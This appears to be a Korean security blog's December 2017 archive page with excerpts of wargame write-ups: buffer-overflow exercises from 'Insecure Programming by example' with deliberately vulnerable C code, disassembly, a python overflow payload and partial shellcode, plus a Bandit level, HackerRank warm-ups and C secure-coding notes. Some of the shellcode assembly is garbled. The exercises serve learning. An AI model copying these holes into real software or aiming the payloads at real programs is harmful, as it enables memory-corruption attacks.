기본 콘텐츠로 건너뛰기

12월, 2017의 게시물 표시

Insecure-programming-abo2

Insecure-programming-abo2 Insecure Programming by example Advanced Buffer Overflow 2 int main ( int argv , char * * argc ) { char buf [ 256 ] ; strcpy ( buf , argc [ 1 ] ) ; exit ( 1 ) ; 지난번 Advanced Buffer Overflow 1 문제와는 다르게 exit() 함수가 추가된 것을 볼 수 있다. 이번 문제는 x86 시스템에서 exit() 함수 호출과 익스플로잇에 대한 영향을 살펴보는 것이 목적이다. objdump 를 이용하여 어셈블리어를 살펴보면 한 가지 특징을 볼 수 있다. # objdump -d -M intel ./abo2 | grep "<main>" -A 16 080483b4 < main > : 80483b4: 55 push ebp 80483b5: 89 e5 mov ebp,esp 80483b7: 81 ec 18 01 00 00 sub esp,0x118 80483bd: 83 e4 f0 and esp,0xfffffff0 80483c0: b8 00 00 00 00 mov eax,0x0 80483c5: 29 c4 sub esp,eax 80483c7: 8b 45 0c mov eax,DWORD PTR [ ebp+12 ] 80483ca: 83 c0 04 add eax,0x4 80483cd: 8b 00 m

Insecure-programming-abo1

Insecure-programming-abo1 Insecure Programming by example Advanced Buffer Overflow 1 int main ( int argv , char * * argc ) { char buf [ 256 ] ; strcpy ( buf , argc [ 1 ] ) ; } Advanced Buffer Overflow 첫 번째 문제는 사용자 인자 값 검증 없이 버퍼에 strcpy() 함수로 복사하여 발생되는 오버플로우 예이다. 먼저 objdump 를 이용하여 어셈블리어를 살펴보자. # objdump -d -M intel ./abo1 | grep -A 16 "<main>" 08048374 <main>: 8048374: 55 push ebp 8048375: 89 e5 mov ebp,esp 8048377: 81 ec 18 01 00 00 sub esp,0x118 804837d: 83 e4 f0 and esp,0xfffffff0 8048380: b8 00 00 00 00 mov eax,0x0 8048385: 29 c4 sub esp,eax 8048387: 8b 45 0c mov eax,DWORD PTR [ebp+12] 804838a: 83 c0 04 add eax,0x4 804838d: 8b 00 mov eax,DWORD PTR [eax] 804838f: 89 44 24 04 mov

Insecure-programming-stack5

Insecure-programming-stack5 Insecure Programming by example Stack 5 이번 문제에서는 조건절 안에 “you win!” 문구 대신 "you loose!"가 있는 것을 볼 수 있다. # include <stdio.h> int main ( ) { int cookie ; char buf [ 80 ] ; printf ( "buf: %08x cookie: %08xn" , & buf , & cookie ) ; gets ( buf ) ; if ( cookie == 0x000d0a00 ) printf ( "you loose!\n" ) ; } 따라서 이번 문제를 해결하기 위해서는 임의로 작성한 별도의 코드를 프로그램에서 호출하도록 하여 “you win!” 구문 출력을 이끌어 내야한다. "you win!"을 출력하고 종료하는 간단한 어셈블리어 코드를 작성한다. section .text global _start _start: jmp short ender starter: xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx mov al, 4 mov dbl, 91 pop ecx mov bdl, 14 int 0x80 xor eax, eax inc eaxal dec bl int 0x80 ender: call starter db 'you win!\n' 작성이 완료되었다면 nasm 을 이용하여 오브젝트 파일을 생성한 후 ld 명령어로 실행 파일을 만들어 제대로 동작하는 지 확인해보하고 objdump 를 이용하여 코드 덤프를 만들자. # nasm -f elf -o stack54_sh_code.

Hackerrank_security-tutorial-functions2

Hackerrank_security-tutorial-functions2 Hackerrank - Security Security Functions 2 Problem Security Functions 2 또한 Security Concept 문제 시작에 앞서 워밍업을 위한 문제이다. 제곱 연산한 결과를 반환하는 함수를 작성하면 된다. 문제 보러 가기 Solution # include <math.h> /* * Complete the function below. */ int function ( int x ) { return pow ( x , 2 ) ; }

Hackerrank_security-tutorial-functions

Hackerrank_security-tutorial-functions Hackerrank - Security Security Functions Problem Security Concept 문제 시작에 앞서 워밍업을 위한 문제이다. 11로 나머지 연산한 결과를 반환하는 함수를 작성하면 된다. 문제 보러 가기 Solution # include <bits/stdc++.h> using namespace std ; int calculate ( int x ) { return x % 11 ; } int main ( ) { int x ; cin >> x ; int result = calculate ( x ) ; cout << result << endl ; return 0 ; }

힘내라 청춘. 20171228

힘내라 청춘. 20171227

힘내라 청춘. 20171225

힘내라 청춘. 20171223

힘내라 청춘. 20171222

Secure-Coding-C-DCL-5

Secure-Coding-C-DCL-5 C 언어 시큐어코딩 - Declare and Initialization 5 올바른 구문을 사용하여 가변 길이 배열 선언 가변 길이 배열은 하나 이상의 멤버가 있는 구조의 마지막 요소가 불완전한 특별한 유형의 배열이다. 즉, 배열의 크기가 구조 내에서 명시적으로 지정되어 있지 않다. 가변 길이 배열 구조 정의 시 몇 가지 제한 사항이 존재한다. 불완전한 배열 유형은 구조 내의 마지막 요소 여야 한다. 가변 길이 배열 멤버가 포함된 구조체 배열은 있을 수 없다. 가변 길이 배열 멤버가 포함된 구조체는 다른 구조체의 멤버로 사용할 수 없다. 구조체에는 가변 길이 배열 멤버 외에 하나 이상의 명명된 멤버가 있어야 한다. 잘못된 코드 예제 C 표준에서 가변 길이 배열을 도입하기 전에 유사한 요소를 얻기 위해 단일 요소 배열을 최종 멤버로 사용하는 구조가 사용되었었다. 예제는 하나의 요소을 가진 배열을 가변 길이 배열과 같이 최종 멤버를 할당하려고 시도한다. 구조체가 인스턴스화되면 malloc() 에 계산된 크기가 동적 배열의 실제 크기를 고려하여 수정된다. # include <stdlib.h> struct flexArrayStruct { int num ; int data [ 1 ] ; } ; void func ( size_t array_size ) { /* Space is allocated for the struct */ struct flexArrayStruct * structP = ( struct flexArrayStruct * ) malloc ( sizeof ( struct flexArrayStruct ) + sizeof ( int ) * ( array_size - 1 ) ) ; if ( structP == NULL ) { /* Handle malloc failure */ }

Secure-Coding-C-DCL-4

Secure-Coding-C-DCL-4 C 언어 시큐어코딩 - Declare and Initialization 4 예약된 식별자를 선언하거나 정의하지 않는다. 밑줄과 대문자 또는 밑줄로 시작하는 모든 식별자는 항상 그 용도가 예약되어 있다. 예약된 식별자를 매크로 이름으로 정의하거나, 예약된 컨텍스트에서 식별자를 선언하거나 정의하지 않는다. 잘못된 코드 예제 (Include Guard) C 표준 라이브러리에 헤더에 구현되어 정의된 이름이 없는 경우에도 컴파일러에 의해 암시적으로 미리 정의된 이름과 충돌할 수 있다. # ifndef _MY_HEADER_H_ # define _MY_HEADER_H_ /* Contents of <my_header.h> */ # endif /* _MY_HEADER_H_ */ 올바른 코드 예제 (Include Guard) 매크로 이름을 밑줄로 시작하지 않는다. # ifndef MY_HEADER_H # define MY_HEADER_H /* Contents of <my_header.h> */ # endif /* MY_HEADER_H */ 잘못된 코드 예제 (File Scope Objects) _max_limit 은 정적이므로 충돌의 영향을 받지 않을 것으로 생각할 수 있으나, size_t를 정의하기 위해 포함된 이름들과 충돌할 가능성이 있으며 컴파일러는 예약된 이름을 암시적으로 선언할 수 있다. _limit 은 런타임 라이브러리에 정의된 동일한 이름의 심볼과 충돌할 수 있다. # include <stddef.h> static const size_t _max_limit = 1024 ; size_t _limit = 100 ; unsigned int getValue ( unsigned int count ) { return count < _limit ? count : _limit

Insecure-programming-stack4

Insecure-programming-stack4 Insecure Programming by example Stack 4 문제의 전체적인 구성은 이전과 동일하지만, cookie 값을 눈여겨볼 필요가 있다. 0x000d0a00에서 0x0d는 CR(Carriage Return), 0x0a는 LF(Line Feed)로 NULL, r, n, NULL과 같은 형태로 구성된다. 하지만 gets() 함수는 EOF 나 개행 문자 삽입 시 해당 문자를 제거하고 입력을 종료하게 되므로 gets() 함수를 통해서 cookie 값을 전달할 수 없다. # include <stdio.h> int main ( ) { int cookie ; char buf [ 80 ] ; printf ( "buf: %08x cookie: %08x\n" , & buf , & cookie ) ; gets ( buf ) ; if ( cookie == 0x000d0a00 ) printf ( "you win!\n" ) ; } 이번 문제에서는 검증로직 우회가 불가하므로 printf("you win!\n"); 코드를 실행하기 위해서는 해당 코드 주소 직접 호출하는 방식으로 접근해야한다. objdump 를 이용하여 변수의 구성을 확인하자. # objdump -d -M intel stack4 .. . 080483b4 < main > : 80483b4: 55 push ebp 80483b5: 89 e5 mov ebp,esp 80483b7: 83 ec 78 sub esp,0x78 80483ba: 83 e4 f0 and esp,0xfff

Bandit12

Bandit12 Bandit Level 12 이번 문제는 설명에서 확인할 수 있듯이 압축에 관련된 문제이다. 반복 압축된 파일을 file 명령어로 형식을 확인하며 압축 형식에 맞춰 해제시키면 된다. xxd , tar , gzip , bzip2 를 명령어 사용법을 익히는 것이 이번 문제에 목적이라고 볼 수 있다. hexdump로 파일 생성 bandit12@bandit:/tmp/bongbongco$ cp ~/data.txt . bandit12@bandit:/tmp/bongbongco$ cat data.txt 00000000: 1f8b 0808 ffb2 095a 0203 6461 7461 322e .. .. .. .Z .. data2. 00000010: 6269 6e00 0143 02bc fd42 5a68 3931 4159 bin .. C .. .BZh91AY 00000020: 2653 5915 1ab4 ec00 0016 ffff f9ef 39d7 & SY .. .. .. .. .. .9. 00000030: fd9f 55ff bf7d ebf7 7fb9 dfdf bb7b ddef .. U .. } .. .. .. . { .. 00000040: 5bff 9efd f5af 7fff defb ffbb b001 3b18 [ .. .. .. .. .. .. . ; . 00000050: a403 d41a 00d0 0000 0680 000d 0d06 9a06 .. .. .. .. .. .. .. .. 00000060: 8d00 f50d 01a0 001a 0003 2341 a683 4320 .. .. .. .. .. #A..C 00000070: 69ea 0323 4193 41a0 3653 434f 4880 d0d0 i .. #A.A.6SCOH... 00000080: 69a0 6434 00d0 01a3 200d 3400 6868 1a34 i.d4 .. .. .4.hh.4 00000090: d1a

Insecure-programming-stack3

Insecure-programming-stack3 Insecure Programming by example Stack 3 # include <stdio.h> int main ( ) { int cookie ; char buf [ 80 ] ; printf ( "buf: %08x cookie: %08x\n" , & buf , & cookie ) ; gets ( buf ) ; if ( cookie == 0x01020005 ) printf ( "you win!\n" ) ; } stack2와 거의 동일하다 변경된 것은 cookie 값에 0x03 대신 0x00이 포함되어 있다는 것이다. 이는 stack2에서와 같이 python 코드를 작성하여 해결이 가능하다. $ python -c "print ('\x05'+'\x00'+'\x02'+'\x01')*21" | ./stack3.exe buf: 0028fe6c cookie: 0028febc you win ! gdb 디버깅을 위해서 입력 값 파일을 생성하자. $ python -c "print ('\x05'+'\x00'+'\x02'+'\x01')*21" > stack3_input 다른 특이사항이 없으므로 코드만 눈으로 읽고 지나가자. (gdb) set disassembly-flavor intel (gdb) b main Breakpoint 1 at 0x401603 (gdb) r Starting program: D:\011. ETC\deadbits\stack3.exe [New Thread 11276.0x1d1c] Breakpoint 1, 0x00401603 in main () (gdb) disas D

Insecure-programming-stack2

Insecure-programming-stack2 Insecure Programming by example Stack 2 # include <stdio.h> int main ( ) { int cookie ; char buf [ 80 ] ; printf ( "buf: %08x cookie: %08x\n" , & buf , & cookie ) ; gets ( buf ) ; if ( cookie == 0x01020305 ) printf ( "you win!\n" ) ; } 이번 문제의 경우 목표 cookie 값이 0x01020305로 ASCII 코드로 확인해보면 문자로 입력이 불가한 값임을 알 수 있다. ASCII Table Tables For convenience, below are more compact tables in hex and decimal. 2 3 4 5 6 7 30 40 50 60 70 80 90 100 110 120 ------------- --------------------------------- 0: 0 @ P ` p 0: ( 2 < F P Z d n x 1: ! 1 A Q a q 1: ) 3 = G Q [ e o y 2: " 2 B R b r 2: * 4 > H R \ f p z 3: # 3 C S c s 3: ! + 5 ? I S ] g q { 4: $ 4 D T d t 4: " , 6 @ J T ^ h r | 5: % 5 E U e u 5: #